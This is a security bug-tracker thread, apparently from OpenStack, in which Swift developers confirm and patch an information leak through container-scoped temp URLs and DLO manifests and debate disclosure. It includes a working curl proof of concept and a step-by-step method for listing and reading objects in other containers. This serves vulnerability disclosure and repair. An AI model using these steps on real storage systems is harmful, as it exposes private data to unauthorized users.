Container level temp URLs can unintentionally leak data.

[Richard Hawkins]

A user, using a container level temp URL key, can create a PUT temp URL and create a DLO/SLO that references objects in another container, potentially leaking information that was intended to be private.

Example:

# Create object in container with secrets
$ curl -i -XPUT -H'x-auth-token: AUTH_tkbfc02e65fe184fa88500de6e9293dced' http://127.0.0.1:8080/v1/AUTH_test/secrets/foo.txt --data "12345"
HTTP/1.1 201 Created
Last-Modified: Mon, 27 Apr 2015 18:34:45 GMT
Content-Length: 0
Etag: 827ccb0eea8a706c4c34a16891f84e7b
Content-Type: text/html; charset=UTF-8
X-Trans-Id: txdb50279b32684c198a1e5-00553e8144
Date: Mon, 27 Apr 2015 18:34:44 GMT

# Create PUT temp URL, and create DLO pointing to "secret" container.
$ curl -i -XPUT http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=b3b1a841a9262bbaa6eb546e5c2054be17377be5\;temp_url_expires\=1430160082 -H'X-Object-Manifest: secrets/f' -H'Content-Length: 0'
HTTP/1.1 201 Created
Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT
Content-Length: 0
Etag: d41d8cd98f00b204e9800998ecf8427e
Content-Type: text/html; charset=UTF-8
X-Trans-Id: txf89037608c7a461f9f6f1-00553e81d3
Date: Mon, 27 Apr 2015 18:37:07 GMT

# GET secrets using temp URL
$ curl -i http://127.0.0.1:8080/v1/AUTH_test/container_a/uhoh.txt\?temp_url_sig\=25d3740e42b56cbbaae15094bfc2a4f3ce3def86\;temp_url_expires\=1430160141
HTTP/1.1 200 OK
Content-Length: 5
Accept-Ranges: bytes
X-Object-Manifest: container_b/f
Last-Modified: Mon, 27 Apr 2015 18:37:08 GMT
Etag: "1f32aa4c9a1d2ea010adcf2348166a04"
X-Timestamp: 1430159827.15679
Content-Type: text/plain
Content-Disposition: attachment; filename="uhoh.txt"; filename*=UTF-8''uhoh.txt
X-Trans-Id: txbfe86e01cdef48caaeac2-00553e81ea
Date: Mon, 27 Apr 2015 18:37:30 GMT

12345%

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete security advisory task has been added while the core security reviewers for the affected project or projects confirm the bug and discuss the scope of any vulnerability along with potential solutions.

[Christian Schwede (cschwede)]

Tested, and I can confirm this bug.

A possible bugfix might be something like this:

- set an internal flag if tempurl middleware validates a request using a container key
- check this flag in the slo/dlo middleware, and if set ensure access is only granted to segments within the same container like the original request

Any other ideas? Does that make sense? I can attach a patch tomorrow if this makes sense to anyone.

[Samuel Merritt (torgomatic)]

You could probably get a similar effect by having tempurl set a swift.authorize callback that limits you to the appropriate scope (account or container), depending on where the key came from.

[clayg (clay-gerrard)]

what are the privileges required to set a container tempurl key? If you have to be a swift_owner to set or read a container tempurl key then you already have privileges that you could theoretically elevate to - and this maybe more of a documentation issue. IIRC, account level tempurl keys allow you to grant temporary access to a manifest object regardless of the location of it's segment - so I think there's a strong analogy - and even if you hand out a PUT tempurl, and let someone create a cross-container manifest they'd still need to generate a GET tempurl to read cross container.

If we expect that container tempurl *keys* to be handed out to people that have a more restricted access than that - well that's probably different - object versioning would be the next most likely attack vector.

OTOH, perhaps regardless of the privilege level of the *expected* recipient of the key if the user story is that the attack surface of a tempurl key is reduced by restricting it to the container vs the account we may have to pursue a solution to limit the "pre-authorization" of requests to paths under the pre-authorized container. Perhaps leave a authorization callback in the environment and have it return 401 if the container in the path isn't the container who matched originally matched the tempurl key?

It seems like we need to understand the user expectation first. It may be surprising if you can *make* a tempurl for a segmented object - but can't acctually *use* it because the segments were in a different container? If we give out a tempurl for a PUT to overwrite an object in a versioned container - do we expect using the tempurl to PUT new data to be able to backup the existing object before the overwrite?

[Richard Hawkins (richard-hawkins)]

> what are the privileges required to set a container tempurl key?

As far as I know, you have to be swift_owner or a sub user with admin privileges to set/read the container level keys.

> If we expect that container tempurl *keys* to be handed out to people that have a more restricted access than that - well that's probably different - object versioning would be the next most likely attack vector.

I personally think container level temp URLs are similar to a ACL on a container. If I were a user, I would assume that if I created a key for a container level temp URL, and gave it out to a user, that they would only have access to read/write to that container. Just as if I had added them to an ACL for a container.

> do we expect using the tempurl to PUT new data to be able to backup the existing object before the overwrite?

Good question. =)
I need to check if a container level temp URL will allow you to set headers on a container. I don't think it does. If that is the case, it might be ok to allow writes to the object versioned container as it would take an account owner or admin to set that header, and a user with that key would not be able to change it. So it might make sense for a account owner to set the object version header for a container they are going to issue a container level key for.

I think I would prefer removing it from the release if possible as I would not want to rush to a solution that we might regret later. But if that is not an option, then I think having container level temp URLs that make requests to other containers 4xx, that would be ok too. At least 4xx would address security concerns, and how to improve it for cross container large objects/object versioning could be addressed at a later time, possibly extending temp URL to allow it.

[John Dickinson (notmyname)]

container tempurls don't let you set the headers on a container.

DLOs stored in a world-readable container don't work unless the target container also is readable (ie with .listings). Therefore you cannot use a public container to probe other containers.

Carrying that principle through, does that mean this issue needs to be resolved such that if a tempurl for reading a manifest references a different...what? container? A tempurl is for a specific object, so it's not like we can know if the intent is to prevent reading even objects in the same container. The reported issue isn't any different than current behavior with account-level tempurls: a GET tempurl is able to read the full contents of the referenced objects, in the case of *LOs.

It seems reasonable to me that a tempurl to an object, even a *LO, is able to return the full data for that object. The difference from the above example with public objects is that tempurls are temporary, limited tokens. Maybe that's not a reasonable assumption and we need to strictly limit all tempurl requests to *only* the specific object referenced. That would effectively kill tempurl+*LO support, though.

The danger seems to be with the ability for a tempurl that allows PUT to probe the rest of the account for data. (PUTs allow HEADs, even if GETs aren't allowed). So maybe on solution is to simply prevent creating manifests via a tempurl, or at least via container tempurls.

Options:

1. Drop container tempurl feature in Kilo
2. Update docs to caution about tempurls that could be used to probe an account
3. Prevent container tempurls from creating *LO objects (ie prevent them from leaving their container)
4. Prevent container tempurls from following *LO objects on read

What do you think? Is it possible to find a solution and implement it in the next 18-24 hours for Kilo? Since it affects account tempurls too[1], maybe this is something that gets patched immediately after kilo (ie not a new issue, even though container-level tempurls are new).

[1] depending on your assumptions about the scope of account-level vs container-level tempurls

[Christian Schwede (cschwede)]

The following works for me:

- an account owner "test:tester" creates a container "secret" with some data in it
- the account owner creates another container "other" and sets a container temp url key on it and a r/w ACL for user test:tester3

Now user test:tester3 can create a DLO in container "other" and uses a tempurl to access the data in container "secret". Of course the object names need to be known in advance to access them.

I think this is not wanted. To me the best option seems to be to check if the used *container* temp url key is in the same container like the *SLO. This wouldn't change existing behavior for account container keys.

[Christian Schwede (cschwede)]

I attached a possible patch for DLO requests including updated unittests.

Let me know if this approach looks feasible, I would continue with SLO then.

We should also check if versioned objects as well as COPY requests are affected too.

[Christian Schwede (cschwede)]

Updated patch, with some refactoring applied.

[Samuel Merritt (torgomatic)]

Note: you can't (currently) do this with SLOs since tempurl helpfully (yuck) strips off any query params other than temp_url_sig and temp_url_expires.

[David Goetz (david-goetz)]

I think the idea of restricting temp url requests from only hitting that single container is workable but is not a great solution. I think forcing every middleware that does sub requests to do:

if allowed_container and container != allowed_container:
+ return HTTPUnauthorized(request=req)

is asking for problems imo. We have to add this to DLOs, SLOs, versioning, etc. My problem with the container lvl tempurls is that it provides anonymous access to objects. This doesn't jive all that well with container ACLs that are completely based on who is making the call. I'd want a pretty good reason to change this model and I don't know if container level tempurls (while a neat idea) is worth it. I'd much rather pull it from the release and figure out a better way than forcing something in quickly and regretting it later.

[Alistair Coles (alistair-coles)]

I'm so far failing to see how the vulnerability is limited to container level tempurl. Seems like if I have a tempurl to PUT to /a/c/o then I can PUT a manifest that points to a target /a/c_other/o_other and then HEAD the target. From staring at code it seems to me that works regardless of who generated the tempurl and using which keys.

*If* that is case I then reverting the container level tempurl feature would only serve to reveal the vulnerability with account level tempurl, and not really fix anything. So I'd advocate no revert and working on a fix to the problem across account and container level.

If I'm wrong and this vulnerability only exists with container level urls then I'm inclined to agree that rushing into a quick fix for kilo might be a mistake vs reverting the change.

[Richard Hawkins (richard-hawkins)]

I think it is limited to container level as, if you have an account temp URL key, and you have a DLO/SLO, you could just generate a temp URL for each segment of the DLO/SLO and get the data that way.

With a container level temp URL, your container key would be no good to generate a temp URL for an object in a different container, unless that key was also set on that other container.

[Samuel Merritt (torgomatic)]

I think reverting the feature until we figure this out is a good way to go. If we have to cut a release tomorrow, I'd rather not wedge something in there, and I don't think we'll figure this out in time.

[clayg (clay-gerrard)]

What about if we just make PUT tempurls not work for creating a *LO manifest? Might break some people - but I don't really know for what use-case? We could even make it a "enable thing that's probably a bad idea" option with default of False?

[paul luse (paul-e-luse)]

Reading through all of this, and not having gone through all of the relevant code yet, my 2 cents is worth, well whatever, but it seems like we ought to revert and, as Sam states, work on a more well thought out solution for a near term follow on release. Releasing Kilo with a quick-attempt-fix for a security issue doesn't feel right.

[Jeremy Stanley (fungi)]

For what it's worth, if this is new in Kilo and the decision is to leave it in the release, then we may need to continue working out the fix in private and issue a security advisory once it's done. On the other hand if it's reverted now and punted to Liberty development then there's no need for further embargo or any advisory.

[John Dickinson (notmyname)]

After further discussion (in IRC), this will be treated as any security issue and there will not be a revert or patch for kilo (swift 2.3.0) before the release.

This issue has a few interesting points:

1) tempurls which allow PUT also allow HEAD.

2) tempurls follow manifests to return the entire object, regardless of where the segments are or permissions on their container

3) because of 1 and 2, a user with a tempurl can create a DLO and then probe the rest of the account for other objects. This is true no matter the key used to generate the tempurl

4) container keys are meant to be shared with subusers so that the subuser can pass out container-scoped tempurls. The subuser would have an indentity (ie token) to access the container.

5) Because of 1, 2, and 4 subusers can probe for objects in the account. ie the tempurl crosses the container boundary.

The solution has a few points:

1) Prevent tempurl PUTs from writing DLOs (by returning an error if x-object-manifest header is on the request).

2) The tempurl should tract the scope of the signed url (ie account and container) so that it cannot cross boundaries. In other words, the subrequests generated eg to fetch DLO segments should be authorized according to the original tempurl (not with a blanket "allow" authorize() callback).

[Matthew Oliver (matt-0)]

If your going to give out a PUT tempurl then your trusting someone to put stuff. But I guess there are different levels of _trust_.

I see that DLO's are an issue in this case, (someone could attempt to probe the account) and so if we go with blocking a PUT request from the tempurl middleware when X-Object-Manifiest headers exists will stop that. Noting we want a tempurl GET to support DLO as that is a valid use case.

If we are going to filter on X-Object-Manifest in tempurl PUT, do we need to think about x-versions-location as well (which I guess isn't a problem until someone has PUT and DELETE tempurls)... However, will this start making TempURL middleware more coupled with others? I guess if we can find a good way to limit the scope tempurl's have access to will solve this.

[Richard Hawkins (richard-hawkins)]

There are different levels of trust, but I think what is at issue here is the account owner's expectation of what a user can do with a temp url he gives out. To me, the issue revolves around users being able to use these things to get information that is not obvious to the account owner. If it is obvious, then the feature might become useless as it is trivial to gain access to objects that you should not have access to or to probe for the existence of objects.

I don't see an issue with x-versions-location, as you can not set headers on a container with a temp url as far as I know. So it does not seem like it could be abused to either leak data or probe for object existence. Even if you have a PUT and DELETE temp url, and the container has the x-versions-location set, all you would be able to do is push and pop versions of the object you have access to into and out of the x-versions-location container. And that seems like it might be expected behavior by the account owner. (although there might be other ways to abuse it which I can't think of right now)

[Matthew Oliver (matt-0)]

ahh, good call Richard. (X-Versions-Location).

[Samuel Merritt (torgomatic)]

Here's a potential patch. It looks large, but it's mostly unit-test fallout.

It's the output of `git show` on a local branch of mine, so it's got a commit comment that goes into a fair amount of detail.

[clayg (clay-gerrard)]

so I think the mostly unit-test fallout is going to be an issue for back-porting. The commit message is great, but it doesn't really go into detail about why moving the env cache to the subdir was required.

I think I understand now that in creating a copy of the subrequest before sending it down into the app the cached values weren't getting set on the req that originally came *into* the app - which caused some things to go south because of how crazy all that env caching get_info stuff is. Probably should be fixed - but not 100% sure it needs to be part of this fix and backport? Honestly the whole copy trick seems like a lot of effort to go through to avoid the swift.authorize pop? Why can't we just do like what we do with cross-account-copy requests and just leave the authorize callback in place?

https://gist.github.com/clayg/11e4e9c0c3f652d82e0f

^ this mostly just steals sam's hardwork and tries to avoid the info cache change that caused all the test fallout.

Also I'm not 100% sure on the precedence of container and account tempurl keys? Maybe it was pre-existing but I don't think it had the same effect. Now if a tempurl matches the container key it'll get scoped - but if that key happens to collide with the account my cross container segment object downloads don't authorize - and there's nothing really to tell me whats going on? Would it be better to scope to the larger matching scope?

Also, I think we need functests to cover this issue.

Also, isn't there a separate issue with handing out a PUT tempurl that we need to address with stripping manifest headers - or did I miss where we decided that's a non-issue?

[Samuel Merritt (torgomatic)]

Going in no particular order:

If an account and container share a key, then the bigger scope should apply. That'll cause the minimum confusion. I'll fix it.

I will also put more words about the swift.infocache thing in the commit message.

I will attempt to write a functional test as well.

We don't need to strip anything on tempurl PUT. Now that the authorize callback isn't getting stepped on, you can't use a container tempurl to GET a manifest with segments in another container, so there's no problem letting the user make one.

I'd like to, someday, make all that get_info stuff a little more sane. The fact that it relies on this key existing in the response's environment dictionary to get account or container info is pretty damn strange, and it causes all sorts of problems if you ever want to use a modified response without changing what the caller sent you. This fix makes it a little better in that you can shallow-copy the WSGI environment without breaking get_info()'s caching and basic functionality. The real fix is probably to make get_info() look at the response headers for account/container info instead of grubbing around in the response environment.

I'm not a fan of adding to the COPY-check for a couple reasons. First, swift.authorize_override is really just an instruction to auth systems that says someone else is stepping in to handle auth so please don't fail this request. Overloading that in the proxy seems like a hack that works for tempurl, but only coincidentally. Second, since Thiago is working on moving COPY to middleware, we'll be able to get rid of that workaround for COPY too, and just always pop out swift.authorize if it has already authorized the request.

Besides, moving all that stuff to swift.infocache can help out the cacheability of stuff. Right now, if a middleware makes a subrequest and shallow-copies the environment to do so, any get_*_info done on that subrequest doesn't get cached later since it only appears in the copied env. By moving all that stuff into swift.infocache, the get_*_info calls will get their results cached.

[Samuel Merritt (torgomatic)]

This one includes a better explanation in the commit comment, a pair of functional tests for DLO + container tempurl, and a test that account-scope beats container-scope when they share a key (turns out that was already the case, but still good to test for).

[Jeremy Stanley (fungi)]

Here's a first take at an impact description for this. I've almost certainly got some of the details and terminology wrong, so please correct me. It looks from the latest updates like any potential to exploit account tempurls in a similar fashion has been discounted, and so this is a kilo (2.3.0) only vulnerability since container tempurls were implemented after Juno/2.2.0 (and also after the 2.2.2 interim release)...

Title: Information leak via Swift container tempurls
Reporter: Richard Hawkins from Rackspace
Products: Swift
Affects: 2.3.0

Description:
Richard Hawkins from Rackspace reported a vulnerability in Swift container-scoped tempurls. When in possession of a tempurl generated using a key on a Swift container, a malicious actor may retrieve objects within any other container for the same tenant environment.

[Richard Hawkins (richard-hawkins)]

Hi Jeremy,

I think in addition, the discussions that resulted in me reporting this bug exposed a second vulnerability with account level temp URLs that has been around for a while.

Where someone with a account level PUT temp URL could potentially probe for existing objects by created DLO that references other containers/objects and HEADING the DLO created. If they had a pair of account level PUT/GET temp URLs, could additionally retrieve data from any object found.

I am not sure who first figured it out, but Sam Merritt was I think the first person to explain it such that I understood this aspect of it.

[Jeremy Stanley (fungi)]

Richard: Thanks. I guess I'm just confused where Samuel's commit message says "A similar bug would exist for manifests referencing other accounts except that neither the X-Object-Manifest (DLO) nor the JSON manifest document (SLO) have a way of specifying a different account." I took this to mean that only container tempurls are at issue and account tempurls are not, but it may be that my shallow understanding of the topic is biting me here.

If account tempurls are in fact also a problem, as previously discussed, then this sounds like it also affects versions through 1.13.1 (Icehouse), and 2.0.0 through 2.2.0 (Juno), as well as 2.2.1 through 2.3.0 (Kilo). If so, I think the impact description would look more like...

Title: Information leak via Swift tempurls
Reporter: Richard Hawkins from Rackspace
Products: Swift
Affects: versions through 1.13.1, 2.0.0 through 2.2.0, 2.2.1 through 2.3.0

Description:
Richard Hawkins from Rackspace reported a vulnerability in Swift tempurls. When in possession of a tempurl generated using a key on a Swift container or account, a malicious actor may retrieve objects within any other container for the same tenant environment.

[Samuel Merritt (torgomatic)]

Jeremy: you are correct; container tempurls have a problem, but account-level do not.

[Jeremy Stanley (fungi)]

Thanks Samuel! In that case, soliciting further comments on my original impact description from comment #26... is what's there correct? Any additional details we should include with the private CVE request?

[Samuel Merritt (torgomatic)]

You need more than one tempurl to actually retrieve objects. Maybe this?

Description:
Richard Hawkins from Rackspace reported a vulnerability in Swift container-scoped tempurls. When in possession of a tempurl key for a Swift container, a malicious actor may retrieve objects within any other container for the same Swift account (tenant) environment.

------

There are two related ways to exploit this:

The first way: given a tempurl for an object generated using a key on that object's container, one can PUT a manifest (i.e. object with X-Object-Manifest) to that URL, then HEAD the new object and, by observing the Etag and Content-Length contained within the HEAD response, learn whether an object starting with the given prefix exists.

For example, given two containers "red" and "blue" and a PUT tempurl for /v1/a/red/manifest, one can PUT /v1/a/red/manifest with header "X-Object-Manifest: /blue/abcd". A subsequent HEAD request for /v1/a/red/manifest will receive a response with an Etag and a Content-Length; the Etag is the MD5 hash of the Etags of all objects matching /v1/a/blue/abcd*, and the Content-Length is the sum of their lengths. If the Etag is "d41d8cd98f00b204e9800998ecf8427e" (the MD5 of the empty string), then there are no objects whose names match /v1/a/blue/abcd*. One can then overwrite the manifest with another that has a different X-Object-Manifest value, and in this way, can learn the names, lengths, and Etags of every object in container "blue".

The second way: given a tempurl *key* for a container, you can construct a PUT tempurl and a GET tempurl for the same object. Then, using the same procedure as above, discover the name of an object in the "blue" container. Then, PUT a manifest with "X-Object-Manifest: /blue/other-object-name", and finally, use the GET tempurl to download /v1/a/blue/other-object-name.

Both these exploits rely on large-object GET requests being able to examine segments outside the manifest's container even though the request was signed with a container-level tempurl key.

[clayg (clay-gerrard)]

Jeremy, Richard, Sam

Would anyone be against opening a separate security issue for the older "account level PUT temp-url allows probing for object existence via DLO's" issue?

I have a functest that will demonstrate the issue - we could try the remove headers trick and decide if that's how we want to address it - I don't think it will effect this patch except that it will only work with account-level temp-url keys once we approve this change.

[Richard Hawkins (richard-hawkins)]

Clay: I would not be against it. Being able to probe and possibly retrieve data, even if it is only with an account level temp URL, kinda scares me.

[Jeremy Stanley (fungi)]

Samuel: Thanks for the additional details. As far as the CVE request goes, we simply need enough detail to reasonably differentiate this vulnerability from similar potential vulnerabilities which might be discovered in Swift over a relatively short period of time (say a year, as CVEs are year-scoped based on their discovery dates). For a deeper dive into more specific facets of the vulnerability the eventual security advisory will link to the bug and the patch(es) fixing it, so we don't need to get particularly verbose in the impact description as long as the risks and any _commonly_occurring_ mitigating factors are mentioned.

[Jeremy Stanley (fungi)]

Clay: If we open an additional bug for a related issue, unless it's disclosed before or at the same time as this one, the publication of this bug will lay that one bare. We would either want a simultaneous publication/advisory/fix for both bugs, or we'd need to create two new bugs to separate the issues into and keep this original bug private until both new bugs have been disclosed.

[clayg (clay-gerrard)]

Jeremy: OK, well I like the idea mainly because the dlo-manifest-with-put-temp-url-to-probe-other-containers issue will require back-ports to older releases while the container-temp-url-key scoping just needs to go back to kilo.

If we can co-ordinate the disclosure date for both it seems manageable. You said you're not against it right?

Unless someone beats me to it - or argues against it - I'll make a separate private security bug for the use dlo-manifest-with-put-temp-url-to-probe-other-containers issue and add my functional test that will describe the issue.

But I sorta wondering, if you can't PUT SLO manifests with tempurls (because of the questionable query-arg stripping) and we decide to strip DLO headers on PUT tempurls to address the account-tempurl issue - does the container scoping issue close itself - or are we still worried about a compromised app that has write access to a container and the ability to create pre-authed GET requests with a container-temp-url key creating a manifest they wouldn't normally authorize to cross-container read? Still seems like a reasonable vector to close with tempurl scoping...

Although we need to make sure we have good docs describing the limitations of container-tempurls and segmented objects - since I think we fully plan to support account-tempurls for manifests whose segments are in another container and we're explicitly deciding that if you have a valid cross-container SLO in a container and you try to create a container-tempurl for it - it doesn't work - on purpose.

FWIW, I think sam's swift.info patch is fine, the functests look good, I think sending a copy of the request with the swift.authorized popped into the app preserves existing behavior and expectations pretty well. I was worried about backports of the test fallout from that patch - but since we'd only backport it to Kilo I think it's fine - +2.

However, I still feel like it's conflating all of our grief with the get_info caching and this security issue - which I'm sure we want to be as surgical of a fix as possible. I'm ok with going the route sam has suggested (+2), but still wondering if there might be something we like better for this fix... asides from the "don't pop authorize if it's a override authorize" trick I already suggested - another way to fake out the authorize pop would be to have the scoped authorized callbacks return an 403 unless the acls have been populated on the request so you make sure you're responding None to the delay denial callback and the not the early check. Or only pop authorized if swift.owner has been populated into the environment would work, since the whole pop trick is just an optimization anyway. OTOH, both of those are hacks, not modifying the request that was handed into the app seems like a reasonable and desireable behavior. Using a copy of the request to pull the authorize callback out of seems like a reasonable way to do that (don't modify the original request) but also still support the weird double auth check delay denial thing where we call authorize twice, ignore the denied response, but on None try to avoid calling authorize again after acl's have been fetched since the author...

[Richard Hawkins (richard-hawkins)]

Sam: Sorry it took so long.

The only thing I found was really minor, and probably not worth holding back the patch since it's only a doc string and could be improved at a later time. So I will give my +1 for the patch, but maybe consider the following:

In swift/common/middleware/tempurl.py
I think the example return value for _get_keys was a little confusing due to missing ')' for *-Key-2 examples.
~ 471 :returns: [
~ 472 (X-Account-Meta-Temp-URL-Key str value, ACCOUNT_SCOPE) if set,
~ 473 (X-Account-Meta-Temp-URL-Key-2 str value, ACCOUNT_SCOPE if set,
+ 474 (X-Container-Meta-Temp-URL-Key str value, CONTAINER_SCOPE) if set,
+ 475 (X-Container-Meta-Temp-URL-Key-2 str value, CONTAINER_SCOPE if set,
+ 476 ]

Something like the following might be a little clearer IMO:
~ 471 :returns: List of tuples for each key set. Where the tuple
~ 472 consists of the str value of *-Meta-Temp-Url-Key and
~ 473 the scope of the key.
+ 474 Example: [
+ 475 (X-Account-Meta-Temp-URL-Key value, ACCOUNT_SCOPE),
+ 476 (X-Account-Meta-Temp-URL-Key-2 value, ACCOUNT_SCOPE),
+ 477 (X-Container-Meta-Temp-URL-Key value, CONTAINER_SCOPE),
+ 478 (X-Container-Meta-Temp-URL-Key-2 value, CONTAINER_SCOPE),
+ 479 ]

[Tristan Cacqueray (tristan-cacqueray)]

Hi, so trying to understand the issue here:

A/ Since Kilo, container temp url allows probing and reading other containers' objects within the same account,
B/ Since at least Icehouse, account temp url allows probing and reading containers' objects within different accounts.

Correct me if I'm wrong, but the underlying issue seems identical (lack of check for temp url), and thus we better issue a single advisory (that could cover two bugs reports and different patch sets).

Some questions:
Comment #31 suggests the exploit needs more than one temp url. Is this for the account temp url issue ?
The current proposed fix in comment #25 only fix the container temp url and does not require a backport right ?

So what we are missing here to move forward is a fix for account temp url to be backported up to icehouse.

[Jeremy Stanley (fungi)]

Tristan: Thanks, I'm still similarly confused. Samuel's commit message on the attachment in comment #25 and reply in comment #29 indicate that account tempurls are not vulnerable, but Clay's and Richard's subsequent replies seem to contradict that.

[clayg (clay-gerrard)]

Jeremy and Tristan,

As Richard has pointed out the we definitely need to backport a fix for PUT tempurls (which we don't yet have, but probably looks a lot like "break all clients who are trying to create DLO's via PUT tempurl").

I opened lp bug #1453948

-Clay

[Matthew Oliver (matt-0)]

Sam,

I think I've spotted a bug in your func tests.. but am about to step into a meeting. Once out I'll just double check to make sure and then post a follow up patch.

[Matthew Oliver (matt-0)]

Here is an updated version of Sam's patch, except with the test_GET_DLO_outside_container test fixed so the manifest is in container2 and points to the segments in container.

  + seg1 = self.env.container.file(
  + "get-dlo-outside-seg1" + Utils.create_name())
  + seg2 = self.env.container.file(
  + "get-dlo-outside-seg2" + Utils.create_name())
  + seg1.write("one fish two fish ")
  + seg2.write("red fish blue fish")
  +
  + container2 = self.env.account.container(Utils.create_name())
  +
  + manifest = container2.file("manifest" + Utils.create_name())
  + manifest.write(
  + '',
  + hdrs={"X-Object-Manifest": "%s/get-dlo-outside-seg" %
  + (self.env.container.name,)})

[Tristan Cacqueray (tristan-cacqueray)]

So what is the current proposed fix for this bug ?

Is the impact description proposed in comment #31 correct ?

Is there a plan for bug 1453948 ? Or will it be only fixed in master ?

[Christian Schwede (cschwede)]

@Tristan: Sams patch #25 with the change from Matthew in #42 looks good to me.

The impact description in comment #31 is correct, however the last but one paragraph is identical with bug 1453948 (and might be removed if two separate OSSAs are going to be published).

[Jeremy Stanley (fungi)]

The impact description in comment #31 is far, far too much detail. We need something around the brevity of my impact description in comment #26 to disambiguate this report from any similar bugs which might be reported within the same calendar year, and to act as a general signal to less technically savvy downstream consumers sufficiently answering the question "do I need to apply this patch on my systems?" Additional technical detail can be summarized within the bug if necessary.

[Jeremy Stanley (fungi)]

Oh, I think I'm misreading comment #31 as implying that the paragraphs after the ---- should be part of the impact description. Sorry, the part above the ---- looks like a fine impact description to me too.

[John Dickinson (notmyname)]

Tristan, this bug and https://bugs.launchpad.net/swift/+bug/1449212 are closely related and should only be disclosed at the same time.

[John Dickinson (notmyname)]

bad paste, sorry.

Tristan, this bug and https://bugs.launchpad.net/swift/+bug/1453948 are closely related and should only be disclosed at the same time.

[clayg (clay-gerrard)]

I tried to rebase this on top of the fix I attached to lp bug #1453948 - but it looks like a couple of new tests assume it's safe to create DLO's via PUT tempurls (and then it validates you can't download them)

    ======================================================================
    ERROR: test_GET_DLO_outside_container (test.functional.tests.TestTempurl)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/vagrant/swift/test/functional/tests.py", line 2907, in test_GET_DLO_outside_container
        (self.env.container.name,)})
      File "/vagrant/swift/test/functional/swift_test_client.py", line 952, in write
        self.conn.make_path(self.path))
    ResponseError: 404: 'Not Found' ('PUT' '/v1/AUTH_test/83790b246ebe49adb3240a9443a15789/manifestd6f808a66f82410aa73646327e8e9353') txid=tx91a6ef5b1001417eae414-005588c7ce

    ======================================================================
    ERROR: test_GET_DLO_outside_container (test.functional.tests.TestTempurlUTF8)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/vagrant/swift/test/functional/tests.py", line 2907, in test_GET_DLO_outside_container
        (self.env.container.name,)})
      File "/vagrant/swift/test/functional/swift_test_client.py", line 952, in write
        self.conn.make_path(self.path))
    ResponseError: 404: 'Not Found' ('PUT' '/v1/AUTH_test/%E1%A0%83%E8%94%89%ED%88%8E%ED%88%8F%E3%9C%85%E8%94%8A%EF%84%91%E1%A0%82%E0%A4%82%E9%90%8B%E0%A4%81%E1%A0%81%E8%94%88%EF%84%8F%E8%94%88/manifest%EB%8C%8E%E0%A4%81%E5%98%88%E8%94%88%EB%8C%8C%E5%98%85%E5%98%88%E9%90%8C%E0%A4%82%EF%84%92%E5%98%85%EF%84%92%E1%A0%83%EF%84%90%E8%94%89') txid=tx3971d8beddea439badad0-005588c7cf

[Tristan Cacqueray (tristan-cacqueray)]

Adding ossg-coresec to both bugs in order to discuss if these bugs should be kept private.

[clayg (clay-gerrard)]

Why wouldn't they be kept private?

Can I get some feedback on the patch attached to lp bug #1453948

If that looks good I can work on the rebase of sam & matts patch here over that - plus backports all around.

I think we should nail down the other fix first tho since it backports further.

[Tristan Cacqueray (tristan-cacqueray)]

Clay, having these bugs public would in theory get more reviewer on-board and a faster process (gerrit and gate testing).

It have been two months already and the exploitation of these issues seem to require a fair amount of social engineering, so unless there is something we missed, the impact is rather moderate.

[Robert Clark (robert-clark)]

Although moving slowly, the issue clearly has the attention of developers from Swift. I'm not convinced that opening this up would progress the issue any faster but it may put existing deployments at risk.

To that end, I suggest this remains closed.

@Swift Developers - what, if anything, can we (Security or VMT) do to help progress this?

[Jeremy Stanley (fungi)]

I was more looking for feedback from vmt-coresec on whether this bug describes a viable, real-world exploit based on typical use cases, or whether it's a corner case relying on unusual trust boundaries and social engineering to achieve any actual compromise.

I'm mostly just trying to gauge relative severity since we're trying, within the VMT, to start pushing lower-severity vulnerability reports into the open. Keeping vulnerabilities under embargo for long periods of time is harmful both in terms of the amount of effort expended by parties involved (compared to availability of more efficient public-facing workflows), but also insofar as users of features impacted by this vulnerability don't currently know they should avoid doing so. The default stance of "keep every security vulnerability secret until it's fixed no matter how trivial" is a bad habit of which we're attempting to break ourselves going forward.

[Jeremy Stanley (fungi)]

Sorry, I meant "ossg-coresec" where I said "vmt-coresec" there.

[clayg (clay-gerrard)]

So I'm still not entirely happy with all the get_*_info changes needed to support this fix, but only because I think test test cleanup distracts from the important change of fixing the authorize callback. I definitely approve of this improvement to the environ caching, and I think i'll be much easier on us down the road - so maybe now is as good a time to fix it as any.

To reiterate the other dirty hacks that I've suggested (as opposed to using sam's *fix*) were:

a) make the tempurl callback return 401 until container acls are in place - coupling with existing behavior to indirectly prevent the authorize callback pop

b) hijack the `swift.authorize_override` environ boolean to *also* indicate that it's cheap to call authorize and update the base controller to not pop the authorize callback from preauthorized requests' environ.

c) start to fix environ caching to not rely on the proxy server setting the cache in the get_*_info() request environ, and instead use the response directly *

* N.B. I think using the get_*_info() response directly (instead of it's requests' environ) to fill in the original requests env cache is actually the correct fix - but when I started down this road the test fall out was about the same as the info_cache trick (it was starting to look a little worse actually). I found a hack that starts down the path without fully commiting to removing the request environ caching junk that I thought was ok. I'll attach that one separately.

[clayg (clay-gerrard)]

This one should be a little shorter, it's the cleanest hack I could come up with - but honestly the smallest possible diff may be a misguided goal since we're not going to need backport this beyond Kilo.

[Matthew Oliver (matt-0)]

Clay, I can't apply your patches to master, is there a commit ID I can checkout to apply these patches to for testing?

It looks good as a patch in theory but want to play around with it. So this should make the 'swift.authorize' when run in the proxy to give us a 401 when trying to access if a different container/account right? We seem to wrap the GET and PUT methods of 'swift/proxy/controllers/obj.py with delay_denial, which looking at the proxy code means it's actually ignoring the result, am I missing something.. you have tests that prove this is not the case.. maybe I'm just confused and maybe my brain isn't as 100% as I thought post Flu.

But testing will simply check this :)

I'm continuing my playing, just wanted to update the bug with my 2 cents.

[Matthew Oliver (matt-0)]

Lol, ignore that, swift.autherize stuff, I just fail at reading/grepping.. (AKA I'm an idiot). Turns out when doing a search inside of vim, use the US spelling of authorize (not authorise) inside the proxy controllers.

[Christian Schwede (cschwede)]

Attached is a rebased version of Clays patch. Applies without a warning on current master (commit 5b24b22).

Currently testing patch.

[Christian Schwede (cschwede)]

Looks like the patch is still allowing to abuse DLO+container tempurl, for example using the following simple script:

 echo 12345 > foo.txt
 swift upload victim-container foo.txt
